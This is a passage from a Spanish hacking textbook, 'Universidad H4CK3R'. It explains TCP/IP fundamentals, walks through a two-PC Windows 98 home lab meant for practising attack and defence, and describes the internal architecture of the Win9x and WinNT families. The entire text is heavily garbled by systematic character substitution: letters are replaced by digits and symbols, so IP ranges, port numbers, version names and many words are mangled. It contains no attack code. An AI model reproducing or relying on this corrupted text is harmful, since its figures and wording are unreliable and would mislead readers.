.apa de interfa# de red= Se encarga de la entrega de los datagramas de la capa de
3nternet. -o forma parte del protocolo 6.PLlP, pero es un componente obligatorio. Se
utili#a com%nmente el protocolo 2thernet, aun!ue 6.PLlP es completamente
independiente y puede viaar en medios tan diversos como la fibra pticaLM((3, enlaces
de radio, K.&I o Mrame Nelay.
"P/3.".3<-
6N"-SP<N62
3-62N-26
3-62NM", (2 N2(
= 5ntendiendo el 7rotocolo ECPHIP
/a familia de 6.PLlP es el fundamento de 3nternet y de la mayora de las redes de
ordenadores en todo el mundo. Para entender cmo funcionan estas redes, se debe tener
una idea de cmo el protocolo 6.PLlP gestiona el envo y recepcin de datos entre dos
nodos.
6enga en cuenta !ue nosotros llamamos el conunto de la familia 6.PLlP. Hay ms de
ellos, pero estos dos, dan el nombre de la familia 0y son realmente los ms importantes1.
"dems de ellos, hay un :(P 0:ser (atagram Protocol1 e 3.;P 03nternet .ontrol
;essage Protocol1, entre otros. 6.P y :(P son protocolos de nivel ?, y proporcionan los
m$todos para !ue los datos procedentes de la capa I sean transportados al nodo destino.
3P e 3.;P, por otro lado, son protocolos de capa 9, lo !ue significa !ue proporcionan
recursos para !ue la capa ? pueda hacer su trabao.
/os 6.PLlP y protocolos au5iliares estn definidos en una serie de documentos
mantenidos por 3nternet 2ngineering 6ask Morce 0l26M1. Puedes buscar NM. @B1,@B& y
@B9 en el sitio oficial= PPP.ietf.comLrfc.html.
2studiaremos el protocolo 6.PLlP con mas detalle en el captulo complementario a este,
Nedes 33, mientras,algunos aspectos deben estar claros para !ue podamos seguir leyendo
este libro.
= 5l 7rotocolo IP
2l gran agente de transporte de nuestros datos entre diferentes redes es el protocolo 3P.
2l protocolo define un pa!uete de datos, !ue contiene campos como los campos !ue
hemos visto en la trama 2thernet y un rea para transportar los datos de la capa superior.
2ntre estos campos, tenemos las direcciones 3P de destino y origen, flags de control y
48
ikimilikiliklik Universidad H4CK3R
versiones F en fin, todo lo !ue usted espera de una implementacin real de un protocolo.
:n pa!uete 3P tiene el siguiente aspecto=
Versin 3H/ 6ipo de Servicio 6ama)o 6otal
3dentificacin 4Mlags 4 Mragmentacin
6iempo de vida Protocolo -%mero de Verificacin
(ireccin 3P de origen
(ireccin 3P de destino
<pciones 0si procede1 /lenado
(atos
= Jirecci/n IP
:n n%mero de 3P consta de ? bytes de tama)o en el formato especfico= '''.'''.'''.''',
en el !ue cada byte puede introducir un valor !ue va desde ' a &II, como 1BA.&I?.1'.1.
<tra informacin relevante es !ue no puede haber dos m!uinas con la misma direccin
3P en la misma red, causara conflictos entre las ma!uinas y una de ellas no podra
conectarse a la red.
= 4Fscara de red
6iene el mismo formato !ue la direccin 3P 0'''.'''.'''.'''1, pero slo afecta a un
segmento particular de la red. Se utili#a para dividir grandes redes en redes ms
pe!ue)as, lo !ue facilita la gestin y la reduccin de trfico espureo.
= ECPHUJP
(entro del pa!uete 3P podemos transportar dos tipos de pa!uetes de datos !ue
pertenecen a la capa ?. :no de ellos, el 6.P es el medio utili#ado por la mayora de los
servicios para transportar informacin entre los dos e5tremos de la cone5in, y tiene
funciones de control de fluo y de recepcin. 2l otro :(P, es mas simple y sin ning%n tipo
de control, pero es ms rpido y tiene menos impacto en el rendimiento de la red.
= Puertos
/os pa!uetes 3P estn relacionados con la red, y por lo tanto sabemos !ue llevan los
datos de un lado a otro. Pero los pa!uetes 6.P y :(P estn ms relacionados con la
aplicacin o servicio !ue va a enviar o transmitir datos. .ada uno de estos servicios est
relacionado con un numero llamado puerto. Por eemplo, en cual!uier servidor, el puerto
6.P A' proporciona el servicio H66P, mientras !ue el puerto :(P I9 puede proporcionar
un servidor (-S.
= JI;
2l (omain -ame Server traduce un nombre fcil de recordar en un n%mero de 3P. Por
eemplo, supongamos !ue la 3P de un servidor en 3nternet es &''.1J@.&'A.1, (-S puede
49
ikimilikiliklik Universidad H4CK3R
asignar un nombre para !ue su locali#acin sea ms fcil, como PPP.siteprocurado.com
"l poner esta direccin legible en su navegador, este se pondr en contacto con el
servidor (-S y lo convertir a un n%mero de 3P.
= *RP
Parecido al (-S, pero hace la traduccin de la direccin 3P a la direccin ;".. .uando el
pa!uete 3P llega a la red de destino, tiene !ue haber un mecanismo !ue diga al pa!uete a
la m!uina a la !ue debe ir. .omo el n%mero de 3P est contenido en el pa!uete=
pregunta a todas las m!uinas en la red= 47Eui$n tiene mi 3P8 /a interfa# configurada con
esa direccin 3P responde con la direccin ;"., y el pa!uete se enva a la misma.
6a&oratorio de Redes I
2l laboratorio de Nedes 3, tiene por obeto ayudar al lector a crear una red dom$stica. Pero
7!ue utilidad tiene este tipo de redes para el futuro hacker o el administrador8 /a
respuesta es muy sencilla= probar t$cnicas de ata!ue y defensa en una red cerrada. 2sto
podra incluir desde la instalacin de un firePall casero hasta la prueba con virus y
troyanos.
<bviamente, se necesitan al menos dos computadoras para crear la red. Puesto !ue la
intencin es construir una red de prueba, puede optar por e!uipos ms antiguos y sin
muchos recursos, tales como la unidad de .(FN<; y el hardPare de sonido. Vamos a
dar los pasos para el montae de la red desde la parte fsica hasta las configuraciones
necesarias.
Necursos -ecesarios
& ordenadores_
& taretas de red 0P.3 o 3S"1_
.ables de par tren#ado de configuracin en crossFover
<S 0en este caso, estamos trabaando con OindoPs B51.
/a instalacin fsica
(espu$s de seleccionar las taretas de
red, es el momento de instalarlas en
3as computadoras. 2sto no es una
tarea difcil, basta con !ue tenga
cuidado de no da)ar el e!uipo.
(espu$s de abrir la caa, debemos
buscar una ranura libre para dar cabida
a la tareta de red. 2n general, se
ubican en la parte inferior derecha de
la placa base, como se muestra en la
figura.
(espu$s de colocar la tareta, reinicie
el e!uipo. Probablemente, el sistema
operativo detectar la presencia de nuevo hardPare y mostrar una ventana con opciones
50
ikimilikiliklik Universidad H4CK3R
para la instalacin. 2lia siempre para instalar los controladores originales !ue vinieron
con la tareta. OindoPs terminara la instalacin y luego slo tiene !ue repetir el proceso
en el otro e!uipo. (espu$s de decidir donde sern ubicadas las m!uinas, es hora de
conectar los cables para completar la red fsica.
.omo se trata de una cone5in entre dos ordenadores, utilice el cable conocido como
CcrossFoverD. /os cables de red tienen pe!ue)os cables !ue deben ser dispuestos en una
secuencia determinada para !ue haya intercambio de datos, en el caso de crossFover, es
preciso invertir algunos de esos hilos. /as tiendas de informtica venden estos cables ya
listos, pero si !uieres aprender a montarlos, observar en la tabla a continuacin la
secuencia correcta de pin#amiento, recordando !ue el conector 0e5tremo del cable1 debe
ser NZFI;=
"hora, slo tiene !ue configurar los e!uipos para establecer una cone5in de red.
Q"tencinG -unca use un cable cru#ado en una red con ChubsD, puede da)ar el e!uipo.
.onfiguracin de la red
.on todo el hardPare completamente instalado viene la hora de configurar las
computadoras. Para montar la red, vamos a utili#ar el protocolo 6.PLlP visto antes,
por!ue es ms fle5ible y confiable. /a configuracin de la direccin 3P !ueda a criterio de
!uien este montando la red, debido a !ue OindoPs puede asignar automticamente una
direccin 3P para cada e!uipo, si lo desea. 2n el eercicio, asignaremos manualmente las
direcciones 3P.
= Windows (.
2n primer lugar, debe utili#ar la banda de direcciones 3P !ue se reservan para las redes
dom$sticas. 2ste n%mero est comprendido entre 1B&.1JA.'.1 y 1B& 1JA &II &I?
"dems, las direcciones de cada micro deben ser diferentes para !ue no haya conflicto
entre los dos. 6ambi$n hay !ue comprobar si el protocolo 6.PLlP est instalado. Para
ello, abra el CPanel de controlD y vaya a 4Ned4, si el protocolo no aparece en la ficha
4.onfiguracin4, debe instalarlo. "proveche esta oportunidad para instalar el 4.liente para
redes ;icrosoft4 y 4.ompartir impresoras y archivos para redes ;icrosoft4. "s cli!ue en el
botn 4.ompartir impresoras y archivos4 y marca 4;e gustara !ue otros usuarios tengan
acceso a mis archivos4.
(espu$s de decidir el n%mero de 3P, es hora de seguir adelante. Vuelva a abrir el icono de
red del CPanel de controlD, seleccione el protocolo 6.PLlP y haga clic en el botn
51
ikimilikiliklik Universidad H4CK3R
CPropiedadesD. Se abrir una nueva ventana, a continuacin, haga clic en la 4direccin 3P4
y mar!ue la opcin 42specificar una direccin 3P4 entrar en el campo con el n%mero 3P de
su eleccin y en el campo de la mscara de subred, se debe poner el siguiente n%mero=
&II.&II.&II.'.
"hora tenemos !ue identificar el e!uipo y el grupo de trabao para este, cli!ue en
4identificacin4 en la ventana de las redes. Necordando !ue el nombre de los e!uipos
puede ser diferente, pero el grupo de trabao debe ser el mismo. 2l ordenador se
reiniciar, pero esta ve# se le pedir una contrase)a y un nombre de usuario a la red.
+ueno, si ambos e!uipos estn conectados y configurados correctamente, usted debe
tener la red funcionando sin problemas. Para compartir una carpeta, basta con hacer clic
en el botn derecho del ratn y acceder a las opciones de carpeta !ue desee compartir.
52
ikimilikiliklik Universidad H4CK3R
Plataforma
3indo4s
.apitulo X 9
".o+ re+* (a4ana nada"
0(icho popular Mranc$s1
53
ikimilikiliklik Universidad H4CK3R
" menudo se dice !ue ms del B'] de los ordenadores destinados al usuario final, ya
sea en negocios o en el hogar, tienen instalado un sistema ;icrosoft OindoPs. 2stas
cifras pueden ser cuestionadas, pero es innegable !ue la empresa saco provecho de la
usabilidad 0y de marketingG1 para hacer creer al usuario y al desarrollador de softPare !ue
OindoPs es la %nica opcin de sistema operativo para los novatos.
Hoy la realidad es incluso un poco peor. /a gente compra sus ordenadores en los
supermercados con OindoPs instalado de fbrica y creen !ue el programa es una parte
intrnseca de la m!uina. 2llos no necesitan pensar en opciones. "l igual !ue se compran
un coche con volante, ahora se compran ordenadores con el sistema del gigante de
Nedmond.
K6as familiasK de Windows
Hay dos corrientes de desarrollo de ;icrosoft OindoPs, formando dos plataformas
completamente diferentes internamente, pero !ue conserva el mismo aspecto e5terior.
= "amilia Win(
.ompuesta por OindoPs BI, OindoPs BA y OindoPs ;e, esta familia se caracteri#a por
tener un n%cleo basado, en parte, en el antiguo ;SF(<S y, por eso, tener compatibilidad
con softPare vieo. 6ambi$n por eso tienen algunas limitaciones.
/a familia de OindoPs B5 es una versin reescrita casi por completo de OindoPs 9, !ue
no era precisamente un sistema operativo. OindoPs 9 fue considerado por algunos como
una simple interfa# grfica !ue corra sobre ;SF(<S. /os autores estn de acuerdo con
esa afirmacin en parte. OindoPs 9 tenia caractersticas largamente deseadas por los
usuarios y !ue estaban presentes desde hacia algunos a)os en los sistemas ;acintosh,
tales como el procesamiento multitarea y meor administracin de memoria. 2l usuario
poda interactuar con el sistema utili#ando un dispositivo se)alador, ratn. 2so permita no
tener !ue recordar decenas de comandos para llamar a sus programas y administrar sus
archivos. (e hecho, podemos decir !ue el conunto de ;SF(<SUOindoPs 9 debera ser
considerado un sistema operativo completo.
OindoPs BI fue un paso adelante. /a "P3 0"pplication Programming 3nterfaces F una
especie de 4toma4 del sistema operativo en el !ue se austan los programas1 fue
completamente remodelada. Pero el n%cleo del sistema era un 4Mrankenstein4, !ue
contena varias caractersticas nuevas introducidas en una versin actuali#ada del antiguo
;SF(<S, ahora completamente oculto. /as versiones posteriores 0OindoPs BA, OindoPs
BA S2 y OindoPs ;e1 todava llevaban versiones 0siempre actuali#adas, es cierto1 de ese
n%cleo. .omo el ;SF(<S era monotarea, convertirlo en un sistema multitarea como
OindoPs re!uera varios CPorksFaroundsD y programas e5ternos !ue se eecutaran en la
#ona de usuario, eecutando tareas !ue seran del Sernel. /a gestin de memoria es un
eemplo. 6al ve# esto e5plica la inestabilidad conocida de estos sistemas, especialmente
errores del tipo TPM. /a adopcin de ;SF(<S como punto de partida para el desarrollo
de nuevas versiones de OindoPs tenia, sin embargo, la ventaa de ofrecer compatibilidad
de softPare y hardPare antiguo.
54
ikimilikiliklik Universidad H4CK3R
= "amilia WinIE
Se trata de los sistemas operativos OindoPs -6, OindoPs &''' y OindoPs KP 0"un!ue
;icrosoft public !ue el sistema OindoPs &''' es una reescritura completa, esta basada en OindoPs -6,
se sabe de fuentes no oficiales !ue todava tiene mucho sin tocar del -6 original. OindoPs KP, por el
contrario, tiene partes de OindoPs &''' y OindoPs ;illennium 2dition, para garanti#ar la compatibilidad
con los antiguos programas del usuario. /o !ue significa !ue todava hay tecnologas -6, OinB5 e incluso el
antiguo ;SF(<S en ella.1. Su primera versin, OindoPs -6 fue desarrollado para ser el
sistema operativo de red de ;icrosoft. :sando la tecnologa de red /"- ;anager con una
interfa# grfica para OindoPs 9.1 y un nuevo proyecto de Sernel, OindoPs -6 tenia por
obeto competir en un mercado dominado por las m!uinas :ni5 y -ovell. 3ncluso con el
rendimiento, la escalabilidad y fiabilidad, peores !ue los de sus rivales, ;icrosoft ha
logrado en pocos a)os, aprovechar la plataforma OindoPs -6 como la plataforma de
redes ms viable y utili#ada. /o hi#o basndose en tres principios=
9ajo precio6 una licencia para OindoPs -6 costaba mucho menos !ue las licencias de
-ovell -etPare, o cual!uier distro :ni5. * corra en los servidores basados en
procesadores 3ntel, hardPare ms barato !ue el costoso :ni5 N3S..
FDcil configuracin + funciona(iento6 mientras !ue en los servidores :ni5 y -ovell haba
interfaces de usuario basadas en caracteres, los administradores de sistema de OindoPs
-6 disponan de una interfa# grfica similar a los P. de escritorio.
<ar/eting6 la ma!uinaria publicitaria de la empresa, con sede en Nedmond, estado de
Oashington, 22.::, es conocida en todo el mundo. 2llos estaban muy contentos de
promocionar el sistema operativo de red nuevo de ;icrosoft, destacando en los medios de
comunicacin los dos principios anteriores.
2l sistema operativo del servidor de red de ;icrosoft, impulsado por estos tres principios y
ayudado por la inercia de los competidores, elevaron a OindoPs -6 al primer puesto en
administracin de servidores durante la d$cada de los B'. Sin embargo, ;icrosoft se dio
cuenta de !ue tambi$n haba un mercado para los sistemas operativos !ue se eecutaban
en los ordenadores de las personas en el hogar o la oficina. 2stas personas necesitaban
la estabilidad y la fiabilidad !ue el n%cleo de OindoPs -6 proporcionaba.
/a familia OindoPs -6 pronto saca las versiones !ue se utili#an en m!uinas cliente 0es
decir, casa u oficina1. Se llamo OindoPs -6 Oorkstation, y tena una estabilidad muy
superior a cual!uier miembro de la familia OinB5. 2ra bsicamente, el kernel del C-6
ServerD sin los servicios de servidor y con algunas modificaciones para adaptarse a los
ordenadores de escritorio. "lgunos usuarios, cansados de tener !ue reiniciar y perder
todos los datos debido al Cfallo de proteccin generalD 0TPM1, migraron a OindoPs -6
Oorkstation 0"lgunos usuarios probaron otros sistemas como <SL& 0antes de ser asesinado por 3+;1,
;acintosh 0en este caso , sustituyendo no slo el softPare, todo el e!uipo1 y, ms recientemente, las
opciones tales como +e<S, Mree+S( y /inu5. .on la e5cepcin de <SL& y +e<S 0recientemente
descontinuado1, la mayora de las personas !ue emigraron a otras plataformas no volvieron a OindoPs.
7sintomtico81.
Pero no todo eran flores. 2l kernel de OindoPs -6 era muy diferente del kernel de la
familia OinB5. Nomper la compatibilidad entre los sistemas operativos significaba romper
55
ikimilikiliklik Universidad H4CK3R
la compatibilidad con el softPare y el hardPare antiguo. ;uchos de ellos simplemente no
funcionaban en OindoPs -6. 2l usuario deba elegir, entre la estabilidad y compatibilidad.
/a %ltima encarnacin de OindoPs, denominada KP, !uiere acabar con este problema.
:tili#ando t$cnicas de convergencia entre las tecnologas de las familias OinB5 y -6,
;icrosoft se las ha arreglado para crear una versin de su producto ms famoso, !ue
seg%n ellos, combina la estabilidad de OindoPs &''' y es compatible con OindoPs ;e.
/a versin servidor de OindoPs KP, se llama OindoPs &''9 Server.
5ntre &astidores
.ual!uier persona !ue tiene el obetivo de convertirse en un 4hacker4 0sea cual sea el
sentido !ue le !ueramos dar a la palabra1 debe conocer el funcionamiento de al menos un
sistema operativo. " pesar de !ue los sistemas :ni5 son una buena escuela, por su
modulari#acin muy didctica, entender lo !ue sucede en las 4tripas4 de los sistemas de
;icrosoft ayuda a comprender cmo un sistema puede evolucionar, y las posibles formas
de evitar problemas de compatibilidad con las tecnologas ms antiguas.
(ebido a la naturale#a propietaria y cerrada de los productos de ;icrosoft, no se da ha
conocer toda la informacin del sistema. 2n este captulo se toma como punto de partida
el conocimiento bsico autori#ado por la empresa. -o vamos a entrar en mucho detalle
sobre el n%cleo del sistema.
= 5structura
2n general, las dos familias del sistema operativo OindoPs utili#an el concepto de
microkernel= slo son implementados los servicios ms bsicos. 6odos los dems estn a
cargo de los programas e5ternos, !ue se eecutan en modo de usuario, o como
programas comunes. " grandes rasgos, esto significa !ue el usuario puede acceder
peligrosamente a las partes del n%cleo.
3nternamente, las dos familias de productos de OindoPs son muy diferentes, aun!ue hay
una capa de compatibilidad para !ue ambas plataformas puedan compartir los mismos
controladores y perif$ricos, los conocidos como controladores de dispositivos 0(evice
drivers1. /a familia -6 incluso, tiene un softPare de capa de compatibilidad !ue permite al
56
ikimilikiliklik Universidad H4CK3R
sistema operativo implementar con $5ito programas dise)ados para la familia OinB5 e
incluso para patrones e5tra)os como :ni5LP<S3K, OindoPs de 1JFbit y <SL& de 3+;.
;ire cuidadosamente el diagrama. /a estructura interna de OindoPs B5 parece modular.
Hay una clara divisin entre el n%cleo 0normalmente se llama el CcoreD1 y otras partes del
sistema. 2sta divisin, aun!ue visible en el papel, es muy tenue en la prctica. Varios
procesos crticos del sistema se eecutan en la misma rea de memoria y compiten por los
mismos recursos de procesamiento !ue los programas de usuario. " pesar de simplificar
el desarrollo del sistema operativo y permitir la compatibilidad con el hardPare y el
softPare antiguo, no se puede obviar la inestabilidad !ue esta estructura implica.
/os programas de usuario 0hoa de clculo, procesador de te5tos, navegador, etc.1 -o
tienen acceso al kernel directamente. .ada programa de 9& bits se eecuta en una
m!uina virtual independiente, y tiene la impresin de tener un hardPare y un n%cleo del
sistema operativo para el solo. Programas antiguos para ;SF(<S tambi$n se eecutan en
m!uinas virtuales independientes, por!ue tienden a captar todos los recursos de la
m!uina para si mismos, si no fuesen una m!uina virtual, sera imposible eecutarlos en
OindoPs. /os programas de 1J bits de OindoPs 9, debido a su naturale#a multitarea
corporativa, se eecutan en una sola m!uina virtual de 1J bits.
Hay un CshellD para interactuar entre los programas de cada m!uina virtual, y el n%cleo
real de sistema. 2ste CshellD tambi$n se encarga de proporcionar los Pidgets 0botones,
barras de despla#amiento, los indicadores de progreso, decoracin de la ventana1 para
las aplicaciones y mostrar el resultado de las ventanas configuradas por el usuario, para
poder interactuar con el sistema. 2ste CshellD tambi$n proporciona algunas de las
utilidades y herramientas del sistema como el 25plorador de OindoPs, Panel de control, y
el entorno de red.
57
ikimilikiliklik Universidad H4CK3R
2l cora#n de la familia OinB5 es el CcoreD del sistema. Se compone de tres componentes=
el /ernel, responsable de control de procesos, 2LS de hardPare_ el usuario, !ue controla
la informacin maneada por el usuario 0ventana, eventos activados por el usuario, iconos,
men%s1 y multimedia_ y el T(3 0Traphics (evice 3nterface1, !ue interact%a con el hardPare
de vdeo. 2l subsistema de impresin tambi$n se encuentra en el T(3.
/a familia de OindoPs B5 se compromete a ser compatible con aplicaciones antiguas de
1J bits de OindoPs 9.11 y ;SF(<S. Por lo tanto, los componentes del CkernelD, el CuserD y
el T(3 del n%cleo, son en realidad, pares de archivos. /os componentes correspondientes
del antiguo OindoPs 9.11 todava estn presentes y las aplicaciones antiguas acceden a
ellos. 2ste es uno de los principales talones de "!uiles de la familia OinB5= los programas
de 1J bits no funcionan en modo protegido, no tienen acceso a un CcoreD !ue funcione as.
2l resultado es la destruccin completa de la multitarea y la gestin de memoria.
2ntre el n%cleo y los controladores para dispositivos de hardPare tambi$n hay una capa
de interfa#, con rutinas !ue se convierten en el CcoreD de OindoPs independientemente
del hardPare utili#ado. :no de los componentes de esta capa es o V;; o Virtual ;achine
;anager. 2l V;; es !uien crea y gestiona cada una de las m!uinas virtuales para todos
los programas de usuario, y el mismo n%cleo del sistema tiene su propia m!uina virtual.
58
ikimilikiliklik Universidad H4CK3R
<tro componente de esta capa es el sistema de archivos instalable o 3MS. 2l sistema no
est preparado para reconocer un n%mero infinito de sistemas de archivos de forma
nativa. 2n cambio, 3MS permite !ue nuevos sistemas de archivos sean 4conectados4, lo
!ue proporciona compatibilidad para casi cual!uier tipo de ellos, basta !ue alguien escriba
el mdulo correspondiente.
2l administrador de configuracin, por el contrario, se encarga de automati#ar la
instalacin de hardPare Plug and Play y sus drivers. 2l mdulo rige todo el proceso de
instalacin, desinstalacin, y mantiene la base de datos actuali#ada de hardPare en el
registro.
59
ikimilikiliklik Universidad H4CK3R
Por %ltimo, el O(; 0Oin9& (river ;odel1 es una capa de traduccin entre los
controladores de dispositivo y el n%cleo. 2nga)a al driver, haci$ndole pensar !ue est
instalado en el CkernelD de OindoPs -6. .on esto, los fabricantes de hardPare pueden
desarrollar los drivers !ue trabaan en ambas plataformas por igual.
/a capa del sistema operativo ms pr5ima al hardPare es la de los controladores de
dispositivos. .onsisten en dos tipos complementarios de drivers, :niversal y ;ini. Vea la
ilustracin=
/os controladores universales son grandes paraguas con especificaciones gen$ricas de
los dispositivos. Por eemplo, un CdriverD llamado universal mdem contiene la informacin
compartida por la mayora de los mdems. 2sto facilita el desarrollo de los drivers con
caractersticas especficas. 2stas caractersticas se implementan en controladores
ayudantes llamados miniFdrivers. 2n los mdems por eemplo, un fabricante puede
basarse en el controlador :niversal y escribir una miniFdriver con las especificaciones !ue
difieren. 6enga en cuenta !ue muchos dispositivos de hardPare puede trabaar slo con el
controlador universal.
2l tipo ms com%n de driver es el driver de virtuali#acin 0V5(1. "lgunos dispositivos de
hardPare deben ser capaces de satisfacer simultneamente las demandas de varios
programas. 2stos dispositivos utili#an V5( para crear varias instancias de s mismos.
.ada m!uina virtual del sistema piensa, entonces, !ue el hardPare en cuestin es solo
para ella.
60
ikimilikiliklik Universidad H4CK3R
2l %ltimo elemento, es unto con la interfa# de usuario, el ms palpable. -l registro es una
base de datos !ue almacena la configuracin global de todo el sistema, as como la de
cada aplicacin. .ual!uier cambio en el funcionamiento o en el comportamiento del
sistema debe hacerse en el Negistro.
Fa(ilia ,in"8
/a ar!uitectura de la familia Oin-6 difiere radicalmente de la familia OinB5. 2n ella e5iste
una separacin e5plcita entre el modo de operacin CkernelD y el modo operacin
usuario. /os programas de usuario se eecutan en un %nico espacio de memoria y tienen
un cierto tiempo de uso de la .P:. /os procesos !ue se eecutan en modo kernel , estn
as, protegidos del acoso depredador de programas 4mal educados4.
" diferencia de los sistemas operativos ms antiguos, como el :ni5 original y los sistemas
de CmainframesD, el kernel de OindoPs -6, y derivados, no es monoltico. 2n lugar de
llevar todos los tipos de controladores de dispositivos imaginables dentro de la 4nue#4,
OindoPs utili#a el concepto de un microkernel, un n%cleo con slo los servicios ms
crticos y esenciales !ue pueden ser complementados con programas de ayuda e5terna.
/a mayora de estos programas e5ternos se eecutan en modo usuario, deando en el
modo kernel slo los servicios de ms bao nivel y alta prioridad. 2stos servicios se
dividen en cinco componentes principales. 2l primero es el T(3, !ue controla los
dispositivos de pantalla de manera similar a la familia de OindoPs B5.
/os otros cuatro elementos F OindoPs 2ecutivo, kernel, controladores de dispositivo y
H"/ estn tan estrechamente interrelacionados !ue aparecen en el mismo marco en
nuestro diagrama. 2l 2ecutivo es el hogar de varios mdulos de interfa# entre el kernel y
los dems componentes, tanto para el usuario y los programas como para el hardPare F
podra ser considerado un 4shell4 del kernel. /os controladores de dispositivo, trabaan de
forma muy similar a la familia de OindoPs B5, con ar!uitectura basada en O(; y V5(.
Por %ltimo, el HardPare "bstraction /ayer o H"/, proporciona una capa de abstraccin
para el n%cleo.
2l principio de funcionamiento de la H"/ es muy similar al modelo de :niversalLminiF
driver. 2l H"/ 4enga)a4 al kernel de OindoPs, haci$ndole creer !ue el hardPare es
61
ikimilikiliklik Universidad H4CK3R
siempre el mismo. Si hay alg%n cambio de ar!uitectura en el P. F por eemplo, un nuevo
m$todo de acceso a la memoria F slo tiene !ue instalar una nueva H"/. -o es necesario
volver a instalar una versin ms reciente de OindoPs, y mucho menos reescribirlo de
nuevo.
/os sistemas de la familia Oin-6 tambi$n utili#an el concepto de registro para mantener
la configuracin del sistema. /a estructura del registro es muy similar a la de la familia
OindoPs B5.
<bserve las similitudes y diferencias entre este diagrama y el de la familia OindoPs B5.
(entro de -)ecutive, tenemos un modulo V;; con funcin id$ntica a la de OindoPs B5.
<tros tres mdulos :erenciador de o%jetos* de procesos + de lla(adas de siste(a
atienden la gestin de instancias de procesos y m$todos para el kernel. :n nuevo mdulo
es el ad(inistrador de referencia de seguridad, !ue proporciona servicios de autenticacin
y seguridad para los subsistemas e5ternos. Necuerde !ue la familia -6 es realmente
multiusuaria y, por eso, necesita de rutinas de autenticacin y control de acceso. 2l ultimo
modulo, llamado ad(inistrador -QS 03L< ;anager1, a)ade los servicios de 2LS de OindoPs
para dispositivos de hardPare, comunicacin e5terna 0serial y redes1 y principalmente con
los dispositivos de almacenamiento 0discos y cintas1.
/os varios subsistemas !ue ruedan en modo usuario controlan la creacin de ma!uinas
virtuales para las aplicaciones de los usuarios. -ote !ue hay un subsistema e5clusivo
para la seguridad, !ue presenta los dilogos de autenticacin para !ue los usuarios se
comuni!uen con el ad(inistrador de referencia de seguridad del n%cleo del sistema para
permitir o denegar su acceso.
Euema unas pocas neuronas e intenta descubrir como funciona cada uno de los mdulos
62
ikimilikiliklik Universidad H4CK3R
mostrados y como se integra con los otros. +usca en 3nternet hasta encontrar datos sobre
cada uno de ellos, sin olvidarte de ninguno. (espu$s de eso, dee el libro, levntese,
salga de casa y vaya a ver gente. Eui#s, ha tomar una cerve#a...
= 5ntidades
OindoPs es un sistema operativo basado en eventos. Por eventos, nos referimos a
cual!uier actividad de cual!uier hardPare 0por eemplo, moviendo el ratn1, o las se)ales
de los programas 0cuando se cierra una ventana1.
OindoPs tiene tres entidades principales= los programas, ventanas y mensaes. /os
programas son aplicaciones !ue usa la gente= 2ditor de te5tos, .alculadora, Solitario o el
emulador de terminal. .ada programa tiene una o ms ventanas. 2l usuario se comunica
con los programas a trav$s del sistema operativo, !ue utili#a para ello mensaes. .ada
programa se comunica con sus muchas ventanas tambi$n a trav$s de mensaes.
/os programas se componen de uno o ms archivos. /os tipos ms comunes de archivos
en programas para OindoPs es el eecutable, de e5tensin 2K2 0partes del cdigo
especfico para ese programa1, (// 0biblioteca compartida de funciones1 y, ms
recientemente, los controles "ctiveK 0un tipo especial de (// !ue contiene las
e5tensiones multimedia1.
/os archivos (// son componentes importantes en los sistemas OindoPs. "crnimo de
>+na(ic 'in/ 'i%raries, son bibliotecas de funciones !ue pueden ser accedidos por
cual!uier aplicacin. "dems de reducir el tama)o de los archivos 2K2, los archivos (//
permiten !ue varios programas compartan el mismo rasgo o caracterstica. Por eemplo,
todas las aplicaciones de OindoPs tienen la misma apariencia debido a un archivo (//
en particular T(3.(//, !ue manea la interfa# grfica de usuario. Prcticamente todo el
kernel de OindoPs se basa en archivos (//. /os programadores tambi$n pueden utili#ar
las funciones del <icrosoft Foundation 1lasses para facilitar su trabao. 2l ;M. se
encuentran en una (// llamada ;M..(//.
/os programas generan varias ventanas. "dems de la representacin visual, las
ventanas son entidades en s mismas, llevan decenas, a veces cientos, de campos de
informacin= los colores, tama)o de la ventana, tama)o del borde, la posicin de los
obetos dentro de la ventana, etc. :no se llama ChandleD, !ue identifica el programa !ue
cre la ventana. <tro campo es el identificador de ventana !ue identifica la ventana con
un solo n%mero 0diferente de cero1 en el sistema. :n tercer campo de inter$s es C,ForderD.
" partir de el, el sistema fia el orden de visuali#acin de ventanas.
Para la comunicacin entre el sistema operativo y, los programas y sus ventanas, se
emiten mensaes entre ellos. :n mensae no es ms !ue una estructura de datos
pe!ue)os. Por lo general, esto incluye=
;arca de tiempo 0hora en !ue se public1 el mensae
3dentificador de mensae
3dentificador de la ventana 0handle ventana1
(os o ms campos al mensae en s mismo
2l identificador de mensae le dice a la ventana del programa el CasuntoD del mensae. /os
63
ikimilikiliklik Universidad H4CK3R
nombres son indicativos de mensaes, como O;c/+:66<-(<O- 0botn i#!uierdo del
ratn se ha pulsado1 o O;cS2*(<O- 0se presiona una tecla1. Sin embargo,
internamente cada uno de estos nombres se sustituye por una constante num$rica. /os
nombres son slo mnemot$cnicos.
/os mensaes son generados de una forma muy simple. 3maginemos una situacin real= 2l
usuario pulsa la Y"Y. 2l teclado enva al ordenador un tren de datos !ue indican !ue
primero se presiono una tecla, despu$s !ue tecla fue y a continuacin el n%mero "S.33
del carcter correspondiente a la tecla. .uando el usuario suelta el botn, el teclado sigue
enviando una se)al !ue indica el evento. .ada pie#a de hardPare de tu e!uipo tiene una
se)al el$ctrica llamada de interrupcin asociado a ella. /a +3<S de la computadora,
cuando recibe una se)al de interrupcin, detiene todo lo !ue est haciendo y desva el
procesamiento a una direccin particular asociada a esta interrupcin, y permite el control
de la .P: al programa !ue reside all. 2ste programa se llama manipulador de
interrupciones o Cinterrupt handlerD.
2l manipulador de interrupcines no es un programa de la +3<S sino una rutina del
sistema operativo, por lo !ue es obvio !ue OindoPs instal su propio controlador para
montar mensaes en funcin de las interrupciones recibidas. 2l mensae del eemplo
contendr el identificador de mensae O;cS2*(<O-, un n%mero !ue identifica !u$
tecla se presiona y el identificador de la ventana donde se puls el botn. (espu$s de
eso, el mensae se enva a la ventana. 2l teclado generar un nuevo mensae identificado
como O;F.H"N, !ue contiene el cdigo "S.33 de la tecla. .uando se suelta el botn, se
genera un mensae O;cS2*N2/2"S2.
/os mensaes generados van a una cola de mensaes llamada Capplication message
!ueueD. .ada programa tiene su cola, y OindoPs dirige correctamente los mensaes a
cada uno. /as aplicaciones van sacando cada mensae de la CcolaD y las reorienta a las
ventanas correspondientes. /as ventanas, a su ve#, poseen funciones internas llamadas
CPindoP proceduresD para el procesamiento de los datos recibidos en el mensae y decidir
!u$ hacer con ellos. "lgunos mensaes no se dirigen a ninguna ventana. 2stos mensaes
se dividen en el procedimiento por defecto de OindoPs y son maneados por el kernel.
AC/mo lo 8agoC
